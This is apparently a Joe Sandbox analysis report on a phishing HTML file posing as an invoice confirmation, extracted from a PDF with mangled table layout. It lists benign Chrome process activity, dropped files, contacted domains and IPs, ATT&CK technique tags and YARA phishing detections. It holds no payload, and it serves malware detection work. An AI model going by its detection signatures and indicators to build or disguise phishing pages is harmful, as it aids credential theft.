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Created / dropped Files
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecoveryCRX.crx
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\_metadata\verified_contents.json
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\manifest.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\0508af9e-5b8a-42f4-ae13-2356a197728d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\29141829-89d2-4f4f-93f1-9015214f17d7.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\2e5ea4ae-338b-4e7b-bcc0-d359481046b9.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\3b206e03-16b0-429d-9eb6-ed45004f3f87.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\65a22dc6-7c7b-4716-bebd-59ee7e686793.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\683703b1-4b89-4df1-90ff-61e32baac2c2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\6926e3a0-1b2c-4b38-a7c5-6e8de3906348.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\6c210c5d-1ea1-443c-bdae-bf7e85fc998b.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\772bef35-5c47-41e8-a66b-079c7b69b05d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\8b13b6f2-05c0-4b5d-afc2-0d6a292b4bb1.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\9f91e5a2-0746-482d-b7f1-804b79820fdf.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4349f87c-51fe-41bd-bd1c-b4710745b0f2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\545cfcbd-68c9-442b-958f-17f4c7418ee2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\897ae4ca-e662-44d3-8e19-9e099278fd37.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8b2b326c-11bd-46ea-9043-9a09ad11a96b.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\5ff0b0b0-f071-475e-a22f-
2b9d6f4c7f6c.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\4b148a3c-b6d3-4f11-9c05-
b7cee60505f1.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a3afb513-5415-43b1-b86d-7dada47ecf07.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\afb83722-04dc-4eca-93d9-fe10b0cb3c8d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cfb8b2e0-f802-4c5a-ab51-d1b7937b4d98.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d2d2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d96302d6-17a3-4ddc-ac08-5b405fc8b450.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\bd861d2a-e3db-4aef-8c54-2cab224d3942.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\d38e2d08-df7c-4b07-a0fc-6c8b166287c5.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\ef22d4f7-f426-438d-aefb-934610ed722b.tmp
C:\Users\user\AppData\Local\Temp\1640_1454429616\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\1640_1454429616\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\1640_1454429616\manifest.json
C:\Users\user\AppData\Local\Temp\1640_1454429616\ssl_error_assistant.pb
C:\Users\user\AppData\Local\Temp\1640_1856074485\Recovery.crx3
C:\Users\user\AppData\Local\Temp\1640_1856074485\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\1640_1856074485\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\1640_1856074485\manifest.json
C:\Users\user\AppData\Local\Temp\1640_26724210\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\1640_26724210\download_file_types.pb
C:\Users\user\AppData\Local\Temp\1640_26724210\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\1640_26724210\manifest.json
C:\Users\user\AppData\Local\Temp\1640_618172239\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_pnacl_json
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\1640_618172239\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\1640_618172239\manifest.json
C:\Users\user\AppData\Local\Temp\40170f90-431d-464c-874a-052c18838f36.tmp
C:\Users\user\AppData\Local\Temp\d4744ca1-4a1e-445a-848e-4ce30fc134b6.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\40170f90-431d-464c-874a-052c18838f36.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hu\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\id\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\it\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ja\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ko\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\lt\messages.json

Static File Info
General

Network Behavior
Network Port Distribution
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Statistics
Behavior

System Behavior
Analysis Process: chrome.exePID: 1640, Parent PID: 4472

General
File Activities
Registry Activities

Analysis Process: chrome.exePID: 916, Parent PID: 1640
General
File Activities

Analysis Process: elevation_service.exePID: 3536, Parent PID: 564
General
File Activities
Registry Activities

Analysis Process: ChromeRecovery.exePID: 1584, Parent PID: 3536
General
File Activities

Disassembly
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Windows Analysis Report 
Invoice_payment_confirmation_567.html

Overview

General Information

Sample 
Name:

Invoice_payment_confirm
ation_567.html

Analysis ID: 634583

MD5: e91df87620aa68…

SHA1: 4ec2d9b4832c87…

SHA256: 2aa5bffa8a9c6a8…

Infos:

Detection

HTMLPhisher

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Phishing site detected (based on fav…

Antivirus / Scanner detection for sub…

Yara detected HtmlPhish10

Yara detected HtmlPhish6

Yara detected HtmlPhish44

Yara detected obfuscated html page

HTML document with suspicious title

HTML document with suspicious na…

Phishing site detected (based on log…

Phishing site detected (based on im…

Contains functionality to check if a d…

Uses code obfuscation techniques (…

Found evasive API chain (date chec…

No HTML title found

Detected potential crypto function

Contains functionality to create guar…

Contains functionality to query CPU…

Found potential string decryption / a…

Contains functionality to check if a d…

JA3 SSL client fingerprint seen in co…

Contains functionality to communica…

Contains functionality to dynamicall…

HTML body contains low number of …

Contains functionality which may be…

IP address seen in connection with …

Extensive use of GetProcAddress (…

PE file contains strange resources

Invalid 'forgot password' link found

Drops PE files

Contains functionality to read the PE…

Found evasive API chain checking …

None HTTPS page querying sensitiv…

Contains functionality for read data …

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 1640 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\Invoice_paymen

t_confirmation_567.html MD5: C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=

1548,14108967426269858545,9759409369232530539,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1
920 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)
elevation_service.exe (PID: 3536 cmdline: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe MD5: AFD137B53BA091ACBA569255B16DF837)

ChromeRecovery.exe (PID: 1584 cmdline: "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe" --appguid={8A69D345-

D564-463c-AFF1-A69D9E530F96} --browser-version=85.0.4183.121 --sessionid={2b7a79f6-5644-4c8c-aac6-e0494a82c1d2} --system MD5:
49AC3C96D270702A27B4895E4CE1F42A)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

Invoice_payment_confirmation_567.html JoeSecurity_Obsht
ml

Yara detected 
obfuscated html 
page

Joe Security

Invoice_payment_confirmation_567.html JoeSecurity_HtmlP
hish_44

Yara detected 
HtmlPhish_44

Joe Security

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Copyright Joe Security LLC 2022 Page 5 of 222



AV Detection

Phishing

System Summary

Source Rule Description Author Strings

13872.0.pages.csv JoeSecurity_HtmlP
hish_10

Yara detected 
HtmlPhish_10

Joe Security

13872.0.pages.csv JoeSecurity_HtmlP
hish_6

Yara detected 
HtmlPhish_6

Joe Security

⊘ No Sigma rule has matched

⊘ No Snort rule has matched

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

3
Native API

Path
Interceptio
n

1
Process
Injection

3
Masqueradi
ng

OS
Credential
Dumping

1
System
Time
Discovery

Remote
Services

1
Archive
Collected
Data

Exfiltration
Over Other
Network
Medium

1 1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Disable or
Modify
Tools

LSASS
Memory

3
Security
Software
Discovery

Remote
Desktop
Protocol

1
Clipboard
Data

Exfiltration
Over
Bluetooth

1
Ingress
Tool
Transfer

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish6

Yara detected HtmlPhish44

Yara detected obfuscated html page

Phishing site detected (based on logo template match)

Phishing site detected (based on image similarity)

HTML document with suspicious title

HTML document with suspicious name

Mitre Att&ck Matrix
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Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

1
Process
Injection

Security
Account
Manager

1
File and
Directory
Discovery

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

3
Non-
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

1
Deobfuscat
e/Decode
Files or
Information

NTDS 1 4
System
Information
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

4
Application
Layer
Protocol

SIM Card
Swap

Carrier
Billing
Fraud

Cloud
Accounts

Cron Network
Logon
Script

Network
Logon
Script

2
Obfuscated
Files or
Information

LSA
Secrets

Remote
System
Discovery

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communic
ation

Manipulate
App Store
Rankings
or Ratings

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Behavior Graph
ID: 634583

Sample: Invoice_payment_confirmatio...

Startdate: 26/05/2022

Architecture: WINDOWS

Score: 100

i.ibb.co cs1227.wpc.alphacdn.net

Antivirus / Scanner
detection for submitted

sample

Phishing site detected
(based on favicon image

match)
Yara detected HtmlPhish44 7 other signatures

chrome.exe

15 274

        started       

elevation_service.exe

7

        started       

192.168.2.1

unknown

unknown

192.168.2.3

unknown

unknown

239.255.255.250

unknown

Reserved

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

23

        started       

C:\Program Files\...\ChromeRecovery.exe, PE32

dropped

ChromeRecovery.exe

        started       

i.ibb.co

51.210.32.103, 443, 49757, 49771

OVHFR

France

part-0032.t-0009.fbs1-t-msedge.net

13.107.219.60, 443, 49761

MICROSOFT-CORP-MSN-AS-BLOCKUS

United States

15 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Thumbnails

Copyright Joe Security LLC 2022 Page 7 of 222



Source Detection Scanner Label Link

Invoice_payment_confirmation_567.html 100% Avira HTML/Infected.We
bPage.Gen2

Source Detection Scanner Label Link

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe 1% Virustotal Browse

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe 0% Metadefender Browse

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe 0% ReversingLabs

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% Metadefender Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2022 Page 8 of 222

https://www.virustotal.com/gui/file/82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f/detection/f-82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f-1653501122
https://www.metadefender.com/#!/results/file/bzIyMDUyMEw0MUVReUZaczluZE9xVnVsUlA/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis


C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% ReversingLabs

Source Detection Scanner Label Link

⊘ No Antivirus matches

Source Detection Scanner Label Link

part-0017.t-0009.fbs1-t-msedge.net 0% Virustotal Browse

cs1227.wpc.alphacdn.net 0% Virustotal Browse

part-0032.t-0009.fbs1-t-msedge.net 0% Virustotal Browse

Source Detection Scanner Label Link

https://dns.google 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

gstaticadssl.l.google.com 216.58.215.227 true false high

accounts.google.com 142.250.203.109 true false high

cdnjs.cloudflare.com 104.17.24.14 true false high

part-0017.t-0009.fbs1-t-msedge.net 13.107.219.45 true false 0%, Virustotal, Browse unknown

maxcdn.bootstrapcdn.com 104.18.10.207 true false high

cs1227.wpc.alphacdn.net 192.229.221.185 true false 0%, Virustotal, Browse unknown

clients.l.google.com 216.58.215.238 true false high

part-0032.t-0009.fbs1-t-msedge.net 13.107.219.60 true false 0%, Virustotal, Browse unknown

i.ibb.co 51.210.32.103 true false high

clients2.google.com unknown unknown false high

ka-f.fontawesome.com unknown unknown false high

code.jquery.com unknown unknown false high

cdn.jsdelivr.net unknown unknown false high

kit.fontawesome.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

file:///C:/Users/user/Desktop/Invoice_payment_confirmation_567.html true low

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js false high

https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js false high

https://i.ibb.co/pw30spQ/90.jpg false high

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis
https://www.virustotal.com/gui/url/979b48c7f9036ef0ed2cb0005feddfa89807f8e02cd33971aa25a4bced78d521/detection/u-979b48c7f9036ef0ed2cb0005feddfa89807f8e02cd33971aa25a4bced78d521-1652187523
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1646411585
https://www.virustotal.com/gui/url/62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e/detection/u-62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e-1652187523
https://www.virustotal.com/gui/url/979b48c7f9036ef0ed2cb0005feddfa89807f8e02cd33971aa25a4bced78d521/detection/u-979b48c7f9036ef0ed2cb0005feddfa89807f8e02cd33971aa25a4bced78d521-1652187523
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1646411585
https://www.virustotal.com/gui/url/62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e/detection/u-62075a6be07145c4982bf88464a0eee926a46f486ceaed2addaf84fb72c5a78e-1652187523


Name Source Malicious Antivirus Detection Reputation

https://dns.google 5ff0b0b0-f071-475e-a22f-2b9d6f4c7f6c.tmp.1.dr, 357
ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, 4b148a
3c-b6d3-4f11-9c05-b7cee60505f1.tmp.1.dr, d2d2882c-
2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false URL Reputation: safe unknown

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://play.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-llvm.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

https://accounts.google.com/MergeSession craw_window.js.0.dr false high

llvm.org/): pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_publ
ic_x86_64_pnacl_llc_nexe.0.dr

false high

https://www.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://code.google.com/p/nativeclient/issues/entry%s:
pnacl_public_x86_64_ld_nexe.0.dr false high

https://code.google.com/p/nativeclient/issues/entry
pnacl_public_x86_64_ld_nexe.0.dr false high

https://accounts.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://clients2.googleusercontent.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://apis.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www.google.com/ manifest.json.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-clang.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://clients2.google.com 357ffe30-2921-4f94-97a3-98c8c0064b1c.tmp.1.dr, d2d
2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp.1.dr

false high

https://clients2.google.com/service/update2/crx manifest.json.0.dr, manifest.json2.0.dr false high

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

104.17.24.14 cdnjs.cloudflare.com United States 13335 CLOUDFLARENETUS false

13.107.219.60 part-0032.t-0009.fbs1-t-
msedge.net

United States 8068 MICROSOFT-CORP-MSN-
AS-BLOCKUS

false

104.18.10.207 maxcdn.bootstrapcdn.co
m

United States 13335 CLOUDFLARENETUS false

216.58.215.238 clients.l.google.com United States 15169 GOOGLEUS false

216.58.215.227 gstaticadssl.l.google.com United States 15169 GOOGLEUS false

51.210.32.103 i.ibb.co France 16276 OVHFR false

239.255.255.250 unknown Reserved unknown unknown false

192.229.221.185 cs1227.wpc.alphacdn.net United States 15133 EDGECASTUS false

142.250.203.109 accounts.google.com United States 15169 GOOGLEUS false

IP

192.168.2.1

192.168.2.4

192.168.2.3

127.0.0.1

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 634583

Start date and time: 26/05/202213:44:31 2022-05-26 13:44:31 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 8m 4s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Invoice_payment_confirmation_567.html

Cookbook file name: defaultwindowshtmlcookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Public IPs

Private

General Information
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Number of analysed new started processes 
analysed:

30

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.phis.winHTML@34/132@10/13

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 99.9% (good quality ratio 94.4%)
Quality average: 80.1%
Quality standard deviation: 27.5%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .html
Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe,
svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
